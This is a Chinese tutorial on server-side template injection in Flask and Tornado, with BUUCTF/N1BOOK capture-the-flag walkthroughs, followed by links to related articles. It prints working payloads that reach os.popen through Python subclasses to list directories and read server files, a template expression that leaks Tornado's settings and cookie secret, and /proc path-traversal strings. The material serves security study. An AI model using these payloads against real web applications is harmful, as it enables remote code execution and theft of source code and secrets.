服务器模板注入 (SSTI)

2024-01-01 06:08
文章标签 模板 服务器 注入 ssti

本文主要是介绍服务器模板注入 (SSTI),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

服务器模板注入 (SSTI)

基本注入流程

''.__class__		显示这个东西的类
''.__class__.base__		找到这个的基类
''.__class__.__base__.__subclasses__()		看基类的子类

敏感子类
popen、sys、os

因为''.__class__.__base__.__subclasses__()返回的是一个列表,
所以直接''.__class__.__base__.__subclasses__()[425]查看的就是popen这个

注意:这里的425要根据''.__class__.__base__.__subclasses__()实际返回的数组,观察Popen的位置来决定

到了这里就可以使用某些子类来进行操作了,下面使用[177]这个子类<class 'warnings.catch_warnings'>进行操作

比如说查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看目录下的文件,这里查看的是test目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /test").read()')

然后读取需要的文件,这里是读取test目录下的flag.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /test/flag.py").read()')

绕过限制

参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

通过模板注入获取tornado中的cookie

利用handler.settings对象
因此构造{{handler.settings}}

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/101473013/

参考来自:https://www.e-learn.cn/topic/3340461



题目

SSTI

这是一道来源于BUUCTF的N1BOOK的题目,[第三章 web进阶]SSTI

?password={{7*7}}

观察回显发现是flask模板注入

?password={{''.__class__.__base__.__subclasses__()}}

看看有什么子类可以利用

?password={{''.__class__.base__.__subclasses__()}}

发现[177]这个子类是<class 'warnings.catch_warnings'>

利用它查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看app目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

然后读取server.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

题目有多种解法
参考来自:
https://blog.csdn.net/CyhDl666/article/details/115004845
https://blog.csdn.net/qq_51558360/article/details/114493766

afr_3

这是一道来源于BUUCTF的N1BOOK的题目,[第一章 web入门]afr_3

开头是文件包含,经过一系列操作,
根据../../../../../proc/self/cmdline得出的信息可以知道,当前正在运行 pythonserver.py

在这里时需要想到,应该利用python的flask进行模板ssti注入,从而读取flag

根据/proc/的特性,可以读取正在运行的pythonserver.py的源码
?name=../../../../../proc/self/cwd/server.py

原理是使用proc指定self代表当前进程,然后cwd指向运行的文件pythonserver.py

得到的信息里面有flag.py,但是直接访问显示权限不够
访问另一个的文件key.py得到

#!/usr/bin/python 
key = 'Drmhze6EPcv0fN_81Bj-nA'

后面待续

参考来自:
https://www.cnblogs.com/murkuo/p/14905749.html

这篇关于服务器模板注入 (SSTI)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/558353

相关文章

CentOS 7部署主域名服务器 DNS的方法

《CentOS7部署主域名服务器DNS的方法》文章详细介绍了在CentOS7上部署主域名服务器DNS的步骤,包括安装BIND服务、配置DNS服务、添加域名区域、创建区域文件、配置反向解析、检查配置... 目录1. 安装 BIND 服务和工具2.  配置 BIND 服务3 . 添加你的域名区域配置4.创建区域

Windows Server服务器上配置FileZilla后,FTP连接不上?

《WindowsServer服务器上配置FileZilla后,FTP连接不上?》WindowsServer服务器上配置FileZilla后,FTP连接错误和操作超时的问题,应该如何解决?首先,通过... 目录在Windohttp://www.chinasem.cnws防火墙开启的情况下,遇到的错误如下:无法与

C++中函数模板与类模板的简单使用及区别介绍

《C++中函数模板与类模板的简单使用及区别介绍》这篇文章介绍了C++中的模板机制,包括函数模板和类模板的概念、语法和实际应用,函数模板通过类型参数实现泛型操作,而类模板允许创建可处理多种数据类型的类,... 目录一、函数模板定义语法真实示例二、类模板三、关键区别四、注意事项 ‌在C++中,模板是实现泛型编程

Windows server服务器使用blat命令行发送邮件

《Windowsserver服务器使用blat命令行发送邮件》在linux平台的命令行下可以使用mail命令来发送邮件,windows平台没有内置的命令,但可以使用开源的blat,其官方主页为ht... 目录下载blatBAT命令行示例备注总结在linux平台的命令行下可以使用mail命令来发送邮件,Win

Ubuntu 22.04 服务器安装部署(nginx+postgresql)

《Ubuntu22.04服务器安装部署(nginx+postgresql)》Ubuntu22.04LTS是迄今为止最好的Ubuntu版本之一,很多linux的应用服务器都是选择的这个版本... 目录是什么让 Ubuntu 22.04 LTS 变得安全?更新了安全包linux 内核改进一、部署环境二、安装系统

nginx配置多域名共用服务器80端口

《nginx配置多域名共用服务器80端口》本文主要介绍了配置Nginx.conf文件,使得同一台服务器上的服务程序能够根据域名分发到相应的端口进行处理,从而实现用户通过abc.com或xyz.com直... 多个域名,比如两个域名,这两个域名其实共用一台服务器(意味着域名解析到同一个IP),一个域名为abc

pycharm远程连接服务器运行pytorch的过程详解

《pycharm远程连接服务器运行pytorch的过程详解》:本文主要介绍在Linux环境下使用Anaconda管理不同版本的Python环境,并通过PyCharm远程连接服务器来运行PyTorc... 目录linux部署pytorch背景介绍Anaconda安装Linux安装pytorch虚拟环境安装cu

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排

MySQL 中的服务器配置和状态详解(MySQL Server Configuration and Status)

《MySQL中的服务器配置和状态详解(MySQLServerConfigurationandStatus)》MySQL服务器配置和状态设置包括服务器选项、系统变量和状态变量三个方面,可以通过... 目录mysql 之服务器配置和状态1 MySQL 架构和性能优化1.1 服务器配置和状态1.1.1 服务器选项

ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法

《ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法》本文介绍了Elasticsearch的基本概念,包括文档和字段、索引和映射,还详细描述了如何通过Docker... 目录1、ElasticSearch概念2、ElasticSearch、Kibana和IK分词器部署